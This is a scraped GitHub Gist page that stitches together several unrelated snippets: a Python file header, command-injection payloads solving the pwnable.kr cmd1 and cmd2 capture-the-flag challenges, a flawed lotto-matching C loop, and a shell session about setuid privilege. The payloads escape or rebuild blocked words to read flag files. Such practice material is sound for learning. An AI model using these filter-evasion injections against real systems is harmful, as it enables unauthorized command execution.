- HTTP 形式:
git clone https://github.com/owner/git.git
- SSH 形式:
git clone [email protected]:owner/git.git
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env python2.7 | |
# | |
# Author: Pat Litke (C) 2014 | |
# | |
# This code is released under the WTFPL V2 http://www.wtfpl.net/ | |
# | |
# License: | |
# DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE | |
# TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION | |
# |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
./cmd2 'read x < fla\g;echo $x' | |
cd / && /home/cmd2/cmd2 '$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fl\ag' | |
./cmd2 '$(printf \\057bin\\057cat) fl""ag' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
env sdd='/bin/cat flag' ./cmd1 '$sdd' |
// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}
ainevsia@ubuntu:~/cc$ whoami
ainevsia
ainevsia@ubuntu:~/cc$ ls -la | grep flag
---s--x--- 1 admin ainevsia 8768 Sep 5 06:49 catflag
-r-------- 1 admin root 16 Sep 5 06:47 flag
ainevsia@ubuntu:~/cc$ ./catflag
this{is}a{flag}
As a user with the gid, once i run catflag, i will get the user's privilege.